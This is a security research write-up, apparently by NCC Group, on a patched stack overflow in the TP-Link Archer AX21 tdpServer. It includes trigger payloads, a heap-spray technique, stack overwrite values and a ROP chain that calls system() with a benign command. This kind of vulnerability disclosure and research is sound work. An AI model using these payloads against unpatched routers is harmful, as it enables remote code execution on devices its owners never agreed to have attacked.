MeshyJSON: A TP-Link tdpServer JSON Stack Overflow

This blog post describes a vulnerability found and exploited in November 2022 by NCC Group. The target was the TP-Link AX1800 WiFi 6 Router (Archer AX21). It was running hardware version 3.6 and firmware version 1.1.1 (Archer AX21(US)_V3.6_1.1.1 Build 20220603). The vulnerability was patched on 2nd of December 2022 with firmware version 1.1.3 (Archer AX21(US)_V3.6_1.1.3 Build 20221125).

The firmware files are accessible via the following links:

Target Binary


The vulnerability detailed in this post exists in the tdpServer binary. This binary sends a probe broadcast request out every 30 seconds, and additionally recieves requests on LAN 20002/udp. Our understanding is that this proprietary TDP protocol is a part of TP-Link’s Mesh Wi-Fi technology.

Various vulnerabilities have previously been found in this binary which detail how the TDP protocol works:

To summarise, a TDP packet contains a 0x10-byte header with information about the request type and body. The body is encrypted with either AES-128 CBC or XOR, depending on the header type and opcode. Both encryption algorithms use a hard-coded key which can be retrieved from the binary. It means we can decrypt existing packets and craft our own packets. The decrypted body format is a JSON string containing the request or response parameters. The structure of the TDP network packet is as follows:

struct TdpPacket
    uint8_t version;     // 0x00
    uint8_t type;        // 0x01
    uint16_t opcode;     // 0x02
    uint16_t length;     // 0x04
    uint8_t flags;       // 0x06
    uint8_t align;       // 0x07
    uint32_t sn;         // 0x08
    uint32_t checkSum;   // 0x0C - last header's field
    uint8_t body[0x400]; // 0x10
}; // 0x410

Architecture Mitigations

Checking the mitigations of tdpServer using

[*] '/usr/bin/tdpServer'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

Checking the Address Space Layout Randomization (ASLR) settings of the kernel:

/ # cat /proc/sys/kernel/randomize_va_space

The Oracle Linux Address Space Layout Randomization docs state the following value meanings:

  • 0 – Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter.
  • 1 – Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment.
  • 2 – Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.

To summarize:

  • Architecture: ARM 32-bit (Little Endian)
  • tdpServer: not randomized, no stack canary
    • .text: r-x
    • .data: rw-
  • Libraries: randomized
  • Heap: randomized, rw-
  • Stack: randomized, rw-


The tdpServer binary calls the fork system call twice during the main method which separates the process into the main process and two child processes:

  • The first process is responsible for sending a network broadcast probe request on port 20002/udp every 30 seconds. This process can receive a probe response after the probe request is sent to the broadcast address. This process will be called the “broadcast fork” in this blog.
  • The second process acts as a server and starts the 20002/udp port listener to receive requests from any client. This process can receive a probe request as well as all other types of requests. This fork will be called the “server fork” in this blog.

The final process is not required as part of this exploit and therefore can be ignored.

Understanding The Vulnerability

Reaching The Vulnerable Function

The vulnerability occurs within the processProbePacket (0x00029360) function which can be reached from two different network flows. One network flow can be triggered immediately by sending a “probe” packet to the server fork. The other network flow can be triggered by responding to a probe broadcast request (sent by the broadcast fork) with a “probe_response” packet.

Broadcast Fork Flow

The main (0x00024c7c) function creates the fork then calls tdpOnemeshUloop (0x00024b80). This function is a loop which calls the onemesh_auto_probe_call (0x000227e4) function when onemesh is configured in “master” mode which is by default on this router. Next the tpapp_discovery_app_info (0x0002ae58) function is called which creates the outbound probe packet, sends the packet to the broadcast address then receives a packet response. The received packet is then processed by the vulnerable processProbePacket (0x00029360) function.

Server Fork Flow

The main (0x00024c7c) function creates the fork then calls tdpdServerStart (0x00023c54) which sets up the server socket listening on port 20002/udp. When a packet is received, the function then passes this packet to the processPacket (0x00023588) function. After performing packet validation on the header and lengths, handlePacketType2 (0x0002392c) is called when we pass a header type of 0xf0. Next, when the header opcode of 0x01 is passed, the function probe (0x0002b17c) is called. Within this function, the payload is XOR decrypted using a static key, then the decrypted body is passed to the vulnerable processProbePacket (0x00029360) function.

JSON Array Stack Overflow

The vulnerability exists within the processProbePacket (0x00029360) function when copying the input JSON parameter “onemesh_support_version” to a stack struct variable.

The following snippet of the processProbePacket function has been truncated to show the important parts of the function. First, the JSON string packetBody is passed to the cJSON_ParseWithLength function [1] which is part of the cJSON library. The “data” item is then retrieved from the JSON object [2], followed by the retrieval of the “onemesh_support_version” item from the “data” item [3]. The “onemesh_support_version” type is then checked to ensure it is a cJSON_Array [4]. The size of the JSON array is then retrieved which is a value we can control as we control the content of the “onemesh_support_version” JSON array [5]. Then it loops over all the cJSON items of this array [6]. For each iteration, the “i”th cJSON item is retrieved from the cJSON array using the cJSON_GetArrayItem function call [7]. The item is validated to ensure it was retrieved successfully and that it is of a type cJSON_Number [8]. The integer value from the array is converted to an unsigned byte and stored in the onemesh_support_version[] array in the _sharedMemoryClient stack struct variable [9] with no bounds checking on the size of onemesh_support_version[]. Therefore, the overflow occurs here when i is larger than the number of items in onemesh_support_version[] which is a fixed size of 32. Therefore, by supplying a “onemesh_support_version” JSON array of more than 32 integers, we can overflow the stack.

int processProbePacket(uint8_t *packetBody, int packetBodyLen, char *method)
    // ...
    SharedMemoryClient _sharedMemoryClient;
    int onemeshSupportVersionArraySize;
    cJSON *onemeshSupportVersionArray;
    cJSON *onemeshSupportItem;
    cJSON *jsonDataObject;
    int ret;
    char callApiTimeout;
    SharedMemory *sharedMemoryBuffer;
    int i;
    cJSON *json;

    // ...
    json = cJSON_ParseWithLength(packetBody, packetBodyLen);                                               // <--- [1]
    // ...
    jsonDataObject = cJSON_GetObjectItem(json,"data");                                                     // <--- [2]
    // ...
    onemeshSupportVersionArray = cJSON_GetObjectItem(jsonDataObject,"onemesh_support_version");            // <--- [3]
    if ((onemeshSupportVersionArray != (cJSON *)0x0)    (onemeshSupportVersionArray->type == cJSON_Array)) // <--- [4]
        onemeshSupportVersionArraySize = cJSON_GetArraySize(onemeshSupportVersionArray);                   // <--- [5]
        for (i = 0; i < onemeshSupportVersionArraySize; i++)                                               // <--- [6]
            onemeshSupportItem = cJSON_GetArrayItem(onemeshSupportVersionArray, i);                        // <--- [7]
            if ((onemeshSupportItem == (cJSON *)0x0) || (onemeshSupportItem->type != cJSON_Number))        // <--- [8]
                debugPrintf("tdpOneMesh.c:1202","Invalid data format");

            _sharedMemoryClient.onemesh_support_version[i] = (uint8_t)onemeshSupportItem->valueint;        // <--- [9]
            debugPrintf("tdpOneMesh.c:1207", "rcvIndex %d, rcvValue %d", i, onemeshSupportItem->valueint); // <--- [10]

    jsonObject = cJSON_GetObjectItem(jsonDataObject,"onemesh_support");                                    // <--- [11]
    if ((jsonObject == (cJSON *)0x0) || ((jsonObject->type != cJSON_True    (jsonObject->type != cJSON_False))))
        debugPrintf("tdpOneMesh.c:1215","Invalid data!");
        ret = -1;
    // ...
    if (json != (cJSON *)0x0)
    if (sharedMemoryBuffer != (SharedMemory *)0x0)
    debugPrintf("tdpOneMesh.c:1389", "Going out...", packetBody);
    return ret;

The following flow chart shows the code flow of the relevant parts of this vulnerability:

processProbePacket Flow Chart

Triggering The Bug

The following “onemesh_support_version” JSON array payload overflows the stack and sets the first byte of the “onemeshSupportVersionArray” pointer to 0xFF causing a segfault at the next loop iteration.

"onemesh_support_version": [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,63,0,0,0,255,255,255,255],

Each array value overwrites a single byte in the stack. The values and the variables they overwrite are shown in order below:

Stack Variables Trigger

As detailed previously, we can trigger the bug within both the broadcast fork and the server fork. A script to create the packet and trigger the bug can be found at GitHub

Broadcast Fork Response

The following JSON body should be sent XOR-encrypted with a packet type of 0x00, opcode of 0x01 and flags of 0x01.

    "method": "probe_response",
    "error_code": 0,
    "data": {
        "mac": "00-00-00-00-00-00",
        "group_id": "a",
        "ip": "a",
        "model": "a",
        "product_type": "a",
        "operation_mode": "a",
        "onemesh_role": "a",
        "bridge_mode": 4,
        "wpa3_support": 0,
        "onemesh_support_version": [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,63,0,0,0,255,255,255,255],
        "onemesh_support": true

Server Fork Request

The following JSON body should be sent XOR-encrypted with a packet type of 0xF0, opcode of 0x01 and flags of 0x31.

    "method": "probe",
    "error_code": 0,
    "data": {
        "mac": "00-00-00-00-00-00",
        "group_id": "a",
        "ip": "a",
        "model": "a",
        "product_type": "a",
        "operation_mode": "a",
        "onemesh_role": "a",
        "bridge_mode": 4,
        "wpa3_support": 0,
        "onemesh_support_version": [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,63,0,0,0,255,255,255,255],
        "onemesh_support": true

Vulnerability Constraints

One limitation to exploit this vulnerability is that we can only pass a certain number of integers in the “onemesh_support_version” array because the encrypted payload body size must be 0x400 or fewer bytes (see TdpPacket.body previously discussed). We can have more integers within the array by removing excess whitespace within the JSON payload and by not providing JSON items which are expected after this overflow loop.

Another aspect to take into account for exploitation is the variable stack layout. The stack overflow corrupts various variables in the function which need to be valid for the overflow to overwrite $pc and reach the function return:

  • int onemeshSupportVersionArraySize – This 4-byte integer variable is used for the loop check. Corruption of this value with a size less than the input array will cause the loop to finish early preventing further overflow [6]. The value therefore needs to be the exact number of integers in the “onemesh_support_version” array which is a static value.
  • cJSON *onemeshSupportVersionArray – Corruption of this pointer with an invalid cJSON pointer will cause [7] to either SEGFAULT or return 0x0, which will break from the loop and prevent overflowing further data on the stack. This pointer needs to point to the existing value, or to a sprayed onemeshSupportVersionArray in memory.
  • cJSON *onemeshSupportItem – The onemeshSupportItem->valueint is used as a source for the overflowing copy [9] and then directly after the overflow in debugPrintf [10]. Therefore this pointer needs to be a valid pointer with data at offset 0x14.
  • cJSON *jsonDataObject – This pointer is used after exiting the overflow loop, to obtain the “onemesh_support” item. Therefore, jsonDataObject needs to be a valid cJSON struct [11]. However, by making it not contain an actual “onemesh_support” item, the code will skip additional processing and go near the end of the function.
  • int ret – The value of this 4 byte integer variable is set to -1 after the overflow therefore we don’t have to worry about using any specific value during our overflow.
  • char callApiTimeout – This value is not used after the overflow.
  • SharedMemory *sharedMemoryBuffer – This pointer is passed to a function when not zero, therefore by setting this value to NULL, it will be ignored.
  • int i – This 4-byte integer variable keeps count of the current loop iteration value. At the point the lowest value byte is overflown the value is 83, therefore this can be the static value 83.
  • cJSON *json – This pointer is passed to cJSON_Delete at the end of the function, which parses and frees the cJSON when the value is not zero. Therefore we can pass this by passing a valid cJSON pointer or NULL.

The final problem we are going to have to deal with is that the overflow corrupts one byte at a time on the stack for each loop iteration. When it ends up corrupting the onemeshSupportVersionArray pointer, because only one byte is changed after one iteration, it means we need to know to what value we can set each of the 4 bytes of this pointer so the loop keeps iterating. Moreover, we need the 4 pointers to be valid cJSON arrays that contain data we control to be able to do useful overwrites.

Storing Arbitrary Content In Memory

To resolve the onemeshSupportVersionArray variable overwrite problem, we decided to investigate ways to store arbitrary content in memory and spray the heap to obtain deterministic addresses that we can use for our 4 onemeshSupportVersionArray required pointers.

We could either craft fake cJSON objects or allocate real cJSON objects at known addresses.

As we’ll see below, crafting fake cJSON objects might be difficult due to the cJSON structures’ complexity and requiring knowing various pointers.

cJSON Summarized

The cJSON library uses a cJSON struct which is defined as shown below:

cJSON Struct

typedef enum cJSON_Type {
} cJSON_Type;

struct cJSON {
    struct cJSON * next;  // 0x00
    struct cJSON * prev;  // 0x04
    struct cJSON * child; // 0x08
    enum cJSON_Type type; // 0x0C
    char * valuestring;   // 0x10
    int valueint;         // 0x14
    double valuedouble;   // 0x18
    char * string;        // 0x20
    int field8_0x24;      // 0x24
}; // 0x28 (40)

cJSON Data

When the cJSON library parses a JSON string payload, a cJSON struct is created for every element of the JSON payload.

For example the following JSON string creates the following cJSON struct variables on the heap:

    "str": "strval",
    "obj": {
        "num": 4,
        "arr": [1,2,3],
        "bool": true
cJSON Data

Crafting fake cJSON structures linked to each others would be impossible without knowing the next/prev pointers.

cJSON Heap Memory

In order to do heap feng shui or heap spray, it is useful to understand what a typical cJSON structure look like in memory.

Single cJSON

The following annotated memory dump diagram demonstrates how a single cJSON structure is stored on the heap with an 8-byte malloc header:

cJSON Memory Structure

cJSON structure and key/value elements

A cJSON structure of type cJSON_String with a string key will perform three separate allocations in heap memory:

  • The cJSON structure represending the cJSON_String
  • An allocation block for the key string
  • An allocation for the value string.

For instance, let’s analyse what happens for the following cJSON_String:

"method": "invalid",

The following diagram assumes all three allocations occured sequentially in memory, however this is not guaranteed.

cJSON Memory

cJSON Object Memory Leak

It turns out there is a memory leak vulnerability when dealing with cJSON objects that we can use to make sure some controlled cJSON objects stay in memory. The memory leak bug exists within the slave_key_offer (0x0002d8e4) function which processes a “slave_key_offer” TDP request. This occurs due to cJSON_ParseWithLength being called which parses the JSON request and allocates the cJSON struct on the heap [12]. It is followed by a return [13] when the “method” item is not present or is not valid. Thus, the code never reaches the cJSON_Delete [14] function call which handles freeing the allocated memory. Therefore, any JSON request we send to the “slave_key_offer” handler with type 0xF0 and opcode 7 will be allocated on the heap and remain allocated as long as it does not contain a “method” key with the string value of “slave_key_offer”.

int slave_key_offer(TdpClientPacket *packet, int packetLength, TdpClientPacket *sendBuffer, int sendBufferLength)
    char* body =  rcvPkt->body;
    size_t _bodyLen = getPacketBodyLength( rcvPkt->header);
    cJSON* _json = cJSON_ParseWithLength(body, _bodyLen); // <--- [12]
    if (_json == 0x0)
        debugPrintf("tdpOneMesh.c:2989","Invalid rcvPkt");
        return -1;
    cJSON* jsonObject__ = cJSON_GetObjectItem(_json,"method");
    if (((jsonObject__ == (cJSON *)0x0) || (jsonObject__->type != cJSON_String)) || (iVar1 = strcmp(jsonObject__->valuestring,"slave_key_offer"), iVar1 != 0))
        debugPrintf("tdpOneMesh.c:2997","Invalid method!");
        return -1; // <--- [13]
    if (_json != 0x0)
        cJSON_Delete(_json); // <--- [14]

In order to be able to spray cJSON objects at deterministic addresses, we need to understand what heap allocator is used.


The heap is managed by musl libc v1.1.16. All allocation blocks are aligned to 16 bytes when compiled for 32-bit. Additional information on the malloc implementation in musl can be found in the following resources:


A chunk struct is present directly before the address which malloc returns for allocated data. When the chunk is marked as allocated, the next and previous pointers are not present and only psize and csize variables are. Therefore, every malloc that occurs allocates an additional 8 byte header on 32-bit systems.

When the chunk is free’d, the next and previous pointers are updated to point to the next and previous free chunks in the same bin as the current chunk.

struct chunk {
    size_t psize; // 0x00
    size_t csize; // 0x04
    struct chunk *next, *prev; // 0x08 - User malloc data here when allocated


A bin contains a head pointer which points to the first chunk in the current bin. Likewise, the tail pointer points to the last chunk in the bin. Chunks are stored as a circular linked list therefore the head and tail pointers define the start and end of the linked list.

struct bin {
    volatile int lock[2];
    struct chunk *head;
    struct chunk *tail;


The mal structure is used by musl to manage and store the current state of the heap. The binmap is a 64-bit integer bitmap which indicates if bin N in the bins array is empty. For example, if the first bit in the binmap is one, then bin zero is empty and does not currently hold free chunks.

struct mal {
    volatile uint64_t binmap;
    struct bin bins[64];
    volatile int free_lock[2];

The 64-entry bins array contains bins for a variety of different allocation sizes. For example, the first bin is dedicated to chunk sizes of 16 bytes (0x10). The higher index bins (>= 32) hold different chunk sizes within a range in a single bin as shown in the following table:

BinAllocated Chunk SizeBinAllocated Chunk SizeBinAllocated Chunk Size

Bypassing Heap ASLR

As heap ASLR is enabled on the router, the base address of the heap changes each time tdpServer executes. After dumping the heap base address around 100 rounds, we determined the rough minimum and maximum address was between 0x00040000 and 0x02020000. As the heap grows when we allocate more data without freeing that data, we can guarantee that our data will hit the static address of 0x02020200 when we spray 0x2000000 bytes of data.

This can be seen in the following diagram showing 3 separate scenarios of the heap start address:

  • The top shows the scenario where the heap starts at the lowest observed base address. After spraying 0x2000000 bytes of data the pointer is valid near the end of the sprayed data.
  • The middle scenario shows a heap start in the middle of the minimum and maximum heap base addresses and shows that the valid pointer will be near the middle of the sprayed data.
  • Finally, the last scenario shows a heap start at the maximum heap base address. This shows that the valid address will be near the start of the sprayed data.

Virtualized Heap (VHeap) Grooming

Our goal is to reliably allocate a valid cJSON struct array at a known static address on the heap. Luckily, the state of the heap is deterministic within the tdpServer binary as long as no other device sends a request between the attacker’s requests. This is due to being able to know the default state of the heap at startup time and all the requests being handled sequentially (no multithreading).

We can therefore create a virtual copy of the default heap state, and all allocations and frees that occur after that to keep track of the current heap state. This allows us to know in advance where the next allocation will land ahead of time.

One limitation of this method is due to the fact that the heap base address is random each time the binary is run due to the kernel ASLR settings. However, the heap base address is always aligned to the page size which is 0x1000 (4096) on this router. Therefore, although we cannot know the exact address malloc will return, we know the alignment the address will return up to 0x1000.

To virtualize the heap state of the router, a custom application named VHeap was created. We use that tool to simulate where allocations will land for specific received packets. We can provide different input to VHeap and check the side effects of each packet.

Dumping The Initial State

This application requires a memory dump of all memory mapping regions within the binary at startup time, the start and end addresses of each memory mapping, and the address of mal. Collectively this is called the “heap state”. The mal structure is retrieved from the memory mapping and used to understand the current state of the heap. Further information on the musl heap and the mal structure can be found in the resources previously provided in the heap section.

To dump the heap state, all read and write memory mappings are dumped using the dump gdb command into respective .bin files. The musl libc library was reversed in Ghidra to find the relative mal offset (/lib/ This relative offset is then added to the libc base address and stored in a file named memory.json. The base address of each dumped memory address is also stored in the memory.json file. These files collectively are labelled the “heap state” and the folder is passed as an input parameter to VHeap.

The file structure of the heap state is as follows:

├── memory
│   ├── 0x1f72000.bin
│   ├── 0x4b000.bin
│   ├── 0x76a8a000.bin
│   ├── 0x76a9b000.bin
│   ├── 0x76aac000.bin
│   ├── 0x76abe000.bin
│   ├── 0x76ad0000.bin
│   ├── 0x76ae5000.bin
│   ├── 0x76afc000.bin
│   ├── 0x76b0f000.bin
│   ├── 0x76b33000.bin
│   ├── 0x76b60000.bin
│   ├── 0x76d08000.bin
│   ├── 0x76d27000.bin
│   ├── 0x76d69000.bin
│   ├── 0x76d82000.bin
│   ├── 0x76eb8000.bin
│   ├── 0x76ec8000.bin
│   ├── 0x76f0a000.bin
│   ├── 0x76f1f000.bin
│   ├── 0x76f37000.bin
│   ├── 0x76f4b000.bin
│   ├── 0x76f62000.bin
│   ├── 0x76fe5000.bin
│   ├── 0x76fe6000.bin
│   └── 0x7ea4e000.bin
└── memory.json

A snippet of the memory.json structure is provided below:

    "mal": "0x76fe52c0",
    "memory": [{
            "address": "0x10000",
            "name": "/usr/bin/tdpServer",
            "permissions": "r-xp"
        }, {
            "address": "0x4b000",
            "name": "/usr/bin/tdpServer",
            "permissions": "rw-p"
        }, {
            "address": "0x1f72000",
            "name": "[heap]",
            "permissions": "rw-p"
        }, {
            "address": "0x76f63000",
            "name": "/lib/",
            "permissions": "rw-p"
        }, {

Tracking The Current State

VHeap begins by allocating the dumped memory from the router into the host’s memory. When the various malloc, realloc and free routines are called, the provided router memory address is converted to the hosts memory address which corresponds to a copy of the routers data. The operations are performed exactly the same as the musl v1.1.16 functionality would occur adjusting the heap header data in memory. Addresses that are returned from realloc and free are then converted back to the router address space.

Additional functions have been implemented to allow you to check what happens to the heap with certain operations, and to allow you to reset back to a previous commit point. For example, if you wanted to check what new heap layout an allocation of sizes 0x10, 0x20 and 0x30 would result in, you could commit the current state, then malloc each size and reset the state to before the malloc occured.

The following state diagram shows the state of the heap after running various commands. First, malloc(0x28) is called which allocates 0x30 on the heap, but then is followed by reset which resets the heap state to the last saved state, which in this case is the original input heap state. Three separate allocations of 0x28, 0x58, and 0x28 are made and then committed to the heap state. After this, we allocate another 0x28 which brings our total allocated size on the heap to 0xF0. The next reset then takes us back a single allocation to the heap state with 0xC0 allocated.

VHeap States

VHeap Commands

The available commands are as follows:

  • malloc – Allocate a number of bytes from the heap.
  • realloc – Reallocate an existing allocations to a new size.
  • free – Free an allocated address.
  • commit – Save the current state of the heap.
  • reset – Reset to the last commit state of the heap.
  • save – Save the current state of the heap to a specified directory.
  • load – Load the state of the heap from a specified directory.
  • run – Run a text file containing a list of commands.

Dynamic Spray Generation

Our goal is to align arbitrary cJSON structures to a specific alignment on the heap. We use VHeap to know what allocations result in aligned addresses. We abuse the memory leak bug to pad the heap between address alignments.

  • To allocate a 0x30 block, we send a value 1 inside a JSON array.
  • To allocate a 0x10 block or 0x20 block, we send a string in a JSON array of a specific size. However, a 0x30 cJSON block is allocated first before the 0x10 or 0x20 block for the string due to the cJSON parser as seen in section cJSON Heap Memory.

To summarise:

Block Size Type JSON Value Restriction
0x30 JSON 1  
0x20 char[] “aaaaaaaaa” cJSON Prefix (0x30)
0x10 char[] “a” cJSON Prefix (0x30)

The following flow chart is a simplified version of how VHeap is used to dynamically generate padding data such that our desired payload aligns on the heap correctly.

To do this, we use VHeap to simulate the application allocations and know the address alignment. We begin by allocating a cJSON structure as the request must start with a cJSON object [1]. We then allocate a 0x30 cJSON array item which will be our payload array [2]. If the result address is aligned [3], we can write the remaining cJSON array payload [4]. However, if it is not aligned, we reset the VHeap state [5], then check if the previous allocation was a 0x30 cJSON structure [6]. If it was not, then we allocate a standard 0x30 cJSON object [7], commit it [8] then restart the iteration [1]. If the previous allocation was 0x30, it means we can allocate a string of 0x10 or 0x20 [8]. We verify if either of these followed by a 0x30 [9] cJSON structure aligns to the alignment [10]. If so, we commit [4] those allocations and reach the end. Otherwise, we reset the state [11], commit 0x30 [7] [8] then restart the iteration [1].

JSON Request Generation

To keep VHeap synchronised between requests, all allocations/frees that occur need to be executed in VHeap. We therefore dumped all malloc, realloc and free operations for a single network request to a file using gdb breakpoints. When generating the payload, we can run the VHeap “run” command to run this list of operations to keep VHeap in sync with the router heap state.


Crashing the Broadcast Fork to Avoid Noise

To emulate the router heap behaviour, we need to know all allocations that occur after the dumped heap state. However, it was observed that mis-alignment was occurring after approximately 30 seconds. It was then noticed that the server fork was receiving the broadcast requests the router was sending from the broadcast fork. Although the functionality did not end up parsing these broadcast requests, it still made allocations in the server fork heap to receive the buffer. We could attempt to factor these allocations into our virtualisation by listening for the broadcast request, however, the easiest solution was to crash the broadcast request using the same overflow bug that exists in the server fork. Therefore, we prevent it from sending further broadcast requests. This means that the allocations between heap grooming requests are consistent as long as no other device on the network is sending requests to the tdpServer binary at the same time.

Hole Filling

Before spraying the heap with our controlled data, the heap is sprayed with two different generic JSON payloads to fill the majority of the smaller mal bin chunks that have been free’d. This increases the stability of the exploit by ensuring the payloads are allocated beyond the heap starting upper limit. In total, 105 requests are sent which consist of sending 15 batch requests made up of 5 small allocation requests for every 2 large allocation requests.

The following large JSON request allocates a 0x30 cJSON block for each 1 value in the array to target filling the 0x30 and larger mal bins. In total this is 497 cJSON blocks which is a size of approximately 0x5DF0 bytes allocated in the heap.


The following small JSON request allocates a 0x30 cJSON followed by two 0x10 string blocks for each key and value in the JSON string to target filling the 0x10 and 0x20 mal bins. In total this is 246 string blocks of size 0x10 which allocates approximately 0x26F0 bytes in the heap.

    "aaaaaaaaaaaaaaaaa": 0,
    "0": "0", "1": "1", "2": "2", "3": "3", "4": "4", "5": "5", "6": "6", "7": "7", "8": "8", "9": "9",
    "a": "a", "b": "b", "c": "c", "d": "d", "e": "e", "f": "f", "g": "g", "h": "h", "i": "i", "j": "j",
    "k": "k", "l": "l", "m": "m", "n": "n", "o": "o", "p": "p", "q": "q", "r": "r", "s": "s", "t": "t",
    "u": "u", "v": "v", "w": "w", "x": "x", "y": "y", "z": "z", "A": "A", "B": "B", "C": "C", "D": "D",
    "E": "E", "F": "F", "G": "G", "H": "H", "I": "I", "J": "J", "K": "K", "L": "L", "M": "M", "N": "N",
    "O": "O", "P": "P", "Q": "Q", "R": "R", "S": "S", "T": "T", "U": "U", "V": "V", "W": "W", "X": "X",
    "Y": "Y", "Z": "Z", "!": "!", "#": "#", "$": "$", "%": "%", " ": " ", "'": "'", "(": "(", ")": ")",
    "*": "*", "+": "+", ",": ",", "-": "-", ".": ".", "/": "/", ":": ":", ";": ";", "<": "<", "=": "=",
    ">": ">", "?": "?", "@": "@", "[": "[", "]": "]", "^": "^", "_": "_", "`": "`", "{": "{", "|": "|",
    "}": "}", "~": "~", " ": " ", "00": "0", "11": "1", "22": "2", "33": "3", "44": "4", "55": "5",
    "66": "6", "77": "7", "88": "8", "99": "9", "aa": "a", "bb": "b", "cc": "c", "dd": "d", "ee": "e",
    "ff": "f", "gg": "g", "hh": "h", "ii": "i", "jj": "j", "kk": "k", "ll": "l", "mm": "m", "nn": "n",
    "oo": "o", "pp": "p", "qq": "q", "rr": "r"

Faking onemeshSupportVersionArray

As explained previously, we must spray the heap with a valid cJSON payload to ensure the onemeshSupportVersionArray remains a valid pointer during the stack overflow. As the stack overflow overwrites one byte at a time, the onemeshSupportVersionArray pointer will be corrupted to 4 different pointers during the overflow. We therefore need to ensure that every one of these pointers points to a valid sprayed cJSON array containing our required payload to continue the overflow.

Using VHeap, we can force the real onemeshSupportVersionArray allocation to align to whatever we wish. Due to the heap ASLR slide and spray coverage, the target address we wish to overwrite onemeshSupportVersionArray to is 0x02020200. Therefore, to simplify the overwrites, we use VHeap to ensure the onemeshSupportVersionArray aligns to XXXXX200.

The following pointers with X indicating any single hex character therefore need to be valid when overwriting onemeshSupportVersionArray:

  • XXXX0200
  • XX020200
  • 02020200

The following diagram shows the pointers in memory as the 4 bytes overwrite the onemeshSupportVersionArray variable. Note that little endian is used therefore the least-significant byte is at the smallest memory address and therefore is overwritten first. Therefore, we use the following strategy:

  • The first byte of onemeshSupportVersionArray is written at (1) with 0x00 so that the address points to itself due to the heap alignment.
  • The second byte we write at (2) is 0x02 which moves the address lower into heap memory but at a cJSON array we control in the sprayed data.
  • The third byte we write again at (3) is 0x02 which moves the address lower into heap memory again but at another cJSON array we control in the sprayed data.
  • The fourth byte we write at (4) is again 0x02 which will either point to itself as shown in the example below, or point to another cJSON array we control on the heap. This depends if the spray caused the most sigifnicant byte to reach 0x03 or higher, or if the most significant byte remains at 0x02.
Heap Spray

Stack Variable Overwrites

We overwrite the stack variables with the following values:

  • onemeshSupportVersionArraySize needs to be 108 as that is the number of integers in our final payload array.
  • onemeshSupportVersionArray will be overwritten with our final payload pointer of 0x02020200.
  • Likewise, both onemeshSupportItem and jsonDataObject are overwritten with the same pointer as their only requirement is to point to a valid cJSON object.
  • sharedMemoryBuffer and json variables are set to zero to avoid further function calls on those addresses.
  • Finally, the variable i is set to the value 83 as that is the existing value of i during the overflow at that point in time.
Stack Variable Overwrites

Triggering the Stack Overflow

The following JSON request is sent to the processProbePacket (0x00029360) function as the final request to trigger the overflow chain. This request will overwrite all variables until the onemeshSupportVersionArray value.

        "a":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,"a","a"], // Dynamically Generated Alignment Padding
        "onemesh_support_version":[ // Trigger Payload
            1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // SharedMemoryClient.onemesh_support_version
            4,                 // SharedMemoryClient.bridge_mode
            0,                 // SharedMemoryClient.wpa3_support
            0,                 // SharedMemoryClient.Unknown
            0,0,0,0,           // SharedMemoryClient.last_active_timestamp
            0,0,0,0,0,0,0,0,0, // SharedMemoryClient.Unknown2 (Fills end of SharedMemoryClient)
            0,0,0,0,0,0,0,     // Unknown
            108,0,0,0,         // onemeshSupportVersionArraySize
            0,2,2,2            // onemeshSupportVersionArray 02020200

Sprayed cJSON Arrays

As explained previously, preliminary to triggering the stack overflow bug, we spray the heap with cJSON arrays using the memory leak bug. The following JSON request is one example of many such requests.

It is important to note that due to the JSON string length limitation, we can only fit two of these payloads in the JSON string per request. Additionally, the alignment padding is dynamically generated and differs for each request, therefore the following is just a single sample request from many variations.

    "a":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,"a","a"], // Dynamically Generated Alignment Padding
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // Skipped values
        0,2,2,2,         // onemeshSupportArray = 02020200
        0,2,2,2,         // onemeshSupportItem = 02020200
        0,2,2,2,         // jsonDataObject = 02020200
        255,255,255,255, // ret = -1
        0,0,0,0,         // callApiTimeout = 0
        0,0,0,0,         // sharedMemoryBuffer = 00000000
        83,0,0,0,        // i = 83
        0,0,0,0,         // json = 00000000
        0,2,2,2,         // frame pointer = 02020200
        200,31,1,0,      // rop gadget = 00011FC8
        192,22,2,2,      // system arg pointer = 020216C0
        44,35,1,0,       // system = 0001232C
        "ledcli USB_twinkle", // system arg
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,"a","a"  // Dynamically Generated Alignment Padding
        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // Skipped values
        0,2,2,2,         // onemeshSupportArray = 02020200
        0,2,2,2,         // onemeshSupportItem = 02020200
        0,2,2,2,         // jsonDataObject = 02020200
        255,255,255,255, // ret = -1
        0,0,0,0,         // callApiTimeout = 0
